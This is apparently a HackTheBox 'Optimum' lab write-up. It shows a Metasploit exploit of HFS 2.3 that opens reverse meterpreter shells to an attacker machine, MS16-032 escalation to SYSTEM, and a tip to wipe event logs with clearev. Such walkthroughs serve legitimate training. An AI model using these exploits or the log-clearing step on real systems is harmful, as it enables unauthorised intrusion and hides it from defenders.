HackTheBox - Optimum (Easy)

Table of contents

Enumeration

Nmap scan

```
# Nmap 7.93 scan initiated Thu Jun  8 08:15:07 2023 as: nmap -A -p- -oN nmapResults.txt -v 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.028s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun  8 08:17:04 2023 -- 1 IP address (1 host up) scanned in 116.38 seconds
```

HFS 2.3 RCE (Remote Code Execution)

HFS (Http File Server) 2.3 is installed on the target system. This version of **HFS** is vulnerable to **RCE (Remote Code Execution)**. We can use the Metasploit Framework to exploit this vulnerability :

```
msf6 > search HFS

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/multi/http/git_client_command_exec  2014-12-18       excellent  No     Malicious Git and Mercuria
l HTTP Server For CVE-2014-9390
   1  exploit/windows/http/rejetto_hfs_exec       2014-09-11       excellent  Yes    Rejetto HttpFileServer Rem
ote Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/http/rejetto_hfs_exec

msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.129.140.114
RHOSTS => 10.129.140.114
msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Using URL: http://10.10.14.93:8080/XxCraf
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /XxCraf
[*] Sending stage (175686 bytes) to 10.129.140.114
[!] Tried to delete %TEMP%\JdkPQOTWXDepF.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.14.93:4444 -> 10.129.140.114:49166) at 2023-07-18 13:20:43 -0400
[*] Server stopped.

meterpreter > getuid
Server username: OPTIMUM\kostas
```

We now have a foothold on the system as `kostas`.

Local enumeration

Let’s take a look at some basic system information :

```
meterpreter > sysinfo
Computer        : OPTIMUM
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 3
Meterpreter     : x86/windows
```

The target system is running Windows **x64** but our meterpreter is in **x86**. To remediate this, we can migrate to a **x64** process :

```
meterpreter > pgrep explorer.exe
1264
meterpreter > migrate 1264
[*] Migrating from 2448 to 1264...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : OPTIMUM
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 3
Meterpreter     : x64/windows
```

Now, we can use the `post/multi/recon/local_exploit_suggester` module to enumerate potential local exploits for privilege escalation :

```
msf6 exploit(windows/local/tokenmagic) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.129.140.114 - Collecting local exploits for x64/windows...
[*] 10.129.140.114 - 186 exploit checks are being tried...
[+] 10.129.140.114 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.129.140.114 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.129.140.114 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.129.140.114 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.129.140.114 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.129.140.114 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but
could not be validated.
[+] 10.129.140.114 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 43 / 43
[*] 10.129.140.114 - Valid modules for session 1:
============================

 #   Name                                                Potentially Vulnerable?  Check Result
 -   ----                                                -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler     Yes                      The target appears
to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr            Yes                      The target appears
to be vulnerable.
 3   exploit/windows/local/bypassuac_sdclt               Yes                      The target appears
to be vulnerable.
 4   exploit/windows/local/bypassuac_sluihijack          Yes                      The target appears
to be vulnerable.
 5   exploit/windows/local/cve_2019_1458_wizardopium     Yes                      The target appears
to be vulnerable.
 6   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is run
ning, but could not be validated.
 7   exploit/windows/local/tokenmagic                    Yes                      The target appears
to be vulnerable.
 8   exploit/windows/local/agnitum_outpost_acs           No                       The target is not
exploitable.
[CROPPED]

[*] Post module execution completed
```

Privilege escalation

Let's try to use the `exploit/windows/local/ms16_032_secondary_logon_handle_privesc` module to exploit the **MS16-032** vulnerability :

```
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_priv
esc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\tzMNCvk.ps1...
[*] Compressing script contents...
[+] Compressed size: 3757
[*] Executing exploit script...
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1372

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:3
+         $sdWV = [Ntdll]::NtImpersonateThread($ok4pk, $ok4pk, [ref]$yYL)
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (yYL:VariablePath) [], RuntimeException
    + FullyQualifiedErrorId : NonExistingVariableReference

[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
Cannot convert argument "ExistingTokenHandle", with value: "", for "DuplicateToken" to type "System.IntPtr": "C
annot co
nvert null to type "System.IntPtr"."
At line:259 char:2
+     $sdWV = [Advapi32]::DuplicateToken($kat, 2, [ref]$eN)
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument

[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

zGMjh58JMC39s3G1WExnDCW9B2DZpAUJ
[+] Executed on target machine.
[*] Sending stage (175686 bytes) to 10.129.140.114
[*] Meterpreter session 2 opened (10.10.14.93:4444 -> 10.129.140.114:49167) at 2023-07-18 13:30:09 -0400
[+] Deleted C:\Users\kostas\AppData\Local\Temp\tzMNCvk.ps1

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

And we have a shell as `NT AUTHORITY\SYSTEM`.

Clearing tracks

- Remove logs with `clearev` command on the meterpreter.

Vulnerabilities summary

HFS 2.3 RCE (Remote Code Execution)

Pentester evaluation

- Score : **9.8 CRITICAL**
- Impact : Allows an attacker to execute arbitrary code in order to gain a foothold on the system. This vulnerability has a high impact on confidentiality, integrity and availability on the targeted component (which is the web server).

Patch proposition

Update HFS to the latest version.

MS016-32

Pentester evaluation

- Score : **7.8 HIGH**
- Impact : If an attacker has local access to the system, he can exploit this vulnerability to gain a shell a `NT AUTHORITY\SYSTEM` and have full control over the system.

Patch proposition

Update the system through Windows Update.

Tools used

- Nmap ← scan open ports and service versions
- Metasploit Framework ← run exploits against the target system

Sources

- Secondary logon handle privilege escalation (MS016-32) : https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/
- HFS RCE : https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/